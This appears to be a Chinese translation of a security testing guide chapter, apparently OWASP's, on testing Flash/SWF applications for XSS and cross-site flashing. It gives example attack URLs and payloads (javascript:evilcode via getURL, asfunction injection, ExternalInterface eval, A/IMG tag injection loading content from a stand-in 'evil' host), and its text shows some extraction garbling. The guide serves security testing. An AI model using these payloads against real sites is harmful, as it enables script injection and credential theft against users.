概述
ActionScript 是基于ECMAScript 的一种语言。当处理交互需求时,Flash 应用程序会使用此语言。和其它语言一样,
ActionScript 有一些可能会导致安全问题的实施模式。特别是,因为Flash 应用往往嵌入浏览器中,基于DOM的跨站脚本等漏洞同样可以在有缺陷的Flash 应用存在。
问题描述
自从“Flash 应用测试”[1]第一次出版,FlashPlayer 就发布了新版本以便缓和书中所描述的攻击威胁。然而,由
于它很大程度上取决于开发商不安全的编程方法,有些部分仍然会存在可开发的漏 洞。。
灰盒测试实例
反编译
由于SWF文件是由嵌入播放器本身的虚拟机翻译的,他们存在被破解和分析的潜 在风险。最知名的免费的
ActionScript2.0破解版是flare。
为了使用flare 破解SWF文件,请输入:
$ flare hello.swf
这将会产生名为hello.flr 的新文件。
因为它从黑盒测试到白盒测试,反编译可以在测试过程中提供一些帮助。
ActionScript3.0 目前没有免费破解版。
未定义的变量
由于URL 查询字符串参数将_root 或_global 对象的每个成员实例化了,导致ActionScript2开始运行。因此通过查看
每个属于_root 和_global对象的未定义属性,可以得到ActionScript2的入口点。这意味着,如果下面的属性:
_root.varname
导致代码流中某个点“未定义”,它可能通过设置重写
http://victim/file.swf?varname=value
例如:
movieClip 328 __Packages.Locale {
#initclip
if (!_global.Locale) {
var v1 = function (on_load) {
var v5 = new XML();
var v6 = this;
v5.onLoad = function (success) {
if (success) {
trace(‘Locale loaded xml‘);
var v3 = this.xliff.file.body.$trans_unit;
var v2 = 0;
while (v2 < v3.length) {
Locale.strings[v3[v2]._resname] = v3[v2].source.__text;
++v2;
}
on_load();
} else {}
};
if (_root.language != undefined) {
Locale.DEFAULT_LANG = _root.language;
}
v5.load(Locale.DEFAULT_LANG + ‘/player_‘ +
Locale.DEFAULT_LANG + ‘.xml‘);
};
通过下面请求可能遭受攻击:
http://victim/file.swf?language=http://evil
不安全的方法
确认入口点后,不安全方法使用可能利用入口点所代表的数据。如果没有使用正确 的regexp 过滤或验证数据将会产
生安全问题。
版本r47的不安全的方法有:
loadVariables()
loadMovie()
getURL()
loadMovie()
loadMovieNum()
FScrollPane.loadScrollContent()
LoadVars.load
LoadVars.send
XML.load ( ‘url‘ )
LoadVars.load ( ‘url‘ )
Sound.loadSound( ‘url‘ , isStreaming );
NetStream.play( ‘url‘ );
flash.external.ExternalInterface.call(_root.callback)
htmlText
测试
将SWF 文件存放在受害者主机上并使用反射式XSS 技术利用漏洞。这就迫使浏览器直接在地址栏中加载一个纯粹的
SWF 文件(由复位向或社会工程学)或通过恶意网页的iframe 加载:
<iframe src=‘http://victim/path/to/file.swf‘></iframe>
这是因为在这种情况下就像存储在受害主机上一样,浏览器将自动产生HTML网 页。
跨站脚本
GetURL:
该GetURL 功能让movie装载URI 进入浏览器视窗。因此,如果getURL 中使用未定义变量作为第一个参数:
getURL(_root.URI,‘_targetFrame‘);
这意味着它可以通过以下请求在托管movie 的相同的域名中调用JavaScript:
http://victim/file.swf?URI=javascript:evilcode
getURL(‘javascript:evilcode‘,‘_self‘);
同样,当只有部分getURL 受控时(Dom 注入和FlashJavaScript注入),情况相同:
getUrl(‘javascript:function(‘+_root.arg+‘))
asfunction:
asfunction:
aassffuunnccttiioonn::
您可以使用特殊asfunction 协议产生链接,然后在SWF文件中执行ActionScript 函数而不是打开一个网址。
(Adobe.com)。释放FlashPlayer 的r48后,每个包含URL 作为参数的方法都能使用asfunction。这就意味着,测
试者可以尝试注入:
asfunction:getURL,javascript:evilcode
in every unsafe method like:
loadMovie(_root.URL)
通过请求:
http://victim/file.swf?URL=asfunction:getURL,javascript:evilcode
ExternalInterface:
ExternalInterface:
EExxtteerrnnaallIInntteerrffaaccee::
ExternalInterface.call 是Adobe引进的用户提升播放器/浏览器交互功能的静态方法。从安全角度来看,当控制了其
部分参数时,它可能会被滥用:
flash.external.ExternalInterface.call(_root.callback);
这种漏洞的攻击模式如下:
eval(evilcode)
而浏览器执行的内部Java 语言类似于:
eval(‘try { __flash__toXML(‘+__root.callback+‘) ; } catch (e) { "<undefined/>"; }‘)
HTML 注入
通过以下设置,TextField 对象可能提供最小的HTML:
tf.html = true
tf.htmlText = ‘<tag>text</tag>‘
因此,如果测试者控制了部分文本,可能注入A标签或者IMG标签导致修改 GUI 或XSS 浏览器。
A标签的攻击案例如下:
? 直接跨站脚本:<a href=‘javascript:alert(123)‘>
? 呼叫的功能:<ahref=‘asfunction:function,arg‘>
? 呼叫的SWF 公共职能:<ahref=‘asfunction:_root.obj.function,arg‘>
? 呼叫本地固定的功能:<a href=‘asfunction:System.Security.allowDomain,evilhost‘>
同样可以使用IMG的标签:
<img src=‘http://evil/evil.swf‘>
<img src=‘javascript:evilcode//.swf‘ > (.swf is necessary to bypass flash player internal
filter)
注:虽然FlashPlayer 跨站脚本124 不再容易被利用,但仍然能修改GUI。
Flash CrossSiteFlashing
Flash CrossSiteFlashing
FFllaasshh跨站 CCrroossssSSiitteeFFllaasshhiinngg
Flash 跨站(XSF)是和XSS 有相同影响的漏洞。
XSF 发生在不同域名中:
? 一个movie使用loadmovie*函数或其它黑客技术加载另一个movie,并进入同一个沙盒或其中一部分
? 当HTML 页面使用JavaScript 来命令使用AdobeFlashmovie 时也可能发生XSF。例如,调用:
o GetVariable:作为字符串从Javascript 进入flash公共和静态对象。
o SetVariable:从Javascript 给新的字符串设置一个静态的或公共flash对象。
? 意外浏览器的swf 通信可能导致窃取swf 应用数据。
通过迫使有缺陷的swf装载外部恶意Flash文件执行此功能。
这种攻击可能导致跨站脚本或GUI修改,以欺骗用户在虚假的flash 表格中插入凭据。
当使用loadmovie*方法时,可以在FlashHTML 注入或外部SWF文件中使用XSF。
FlashPlayer
FlashPlayer
攻击和FFllaasshhPPllaayyeerr版本
自2007 年5月,Adobe发布了FlashPlayer 的三个新版本。每个新版本都阻止了以前描述的攻击。
| Attack | asfunction | ExternalInterface | GetURL | Html Injection |
|PlayerVersion |
| v9.0 r47/48 | Yes | Yes | Yes | Yes |
| v9.0 r115 | No | Yes | Yes | Yes |
| v9.0 r124 | No | Yes | Yes | Partially |
预期结果:
跨站点脚本和跨站flash是有缺陷的SWF 文件的预期结果。
工具
? SWFIntruder:https://www.owasp.org/index.php/Category:SWFIntruder
? Decompiler–Flare: http://www.nowrap.de/flare.html
? Compiler–MTASC:<http://www.mtasc.org/>
? Disassembler–Flasm:<http://flasm.sourceforge.net/>
? Swfmill–ConvertSwftoXMLandviceversa:<http://swfmill.org/>
? DebuggerVersionofFlashPlugin/Player:<http://www.adobe.com/support/flash/downloads.html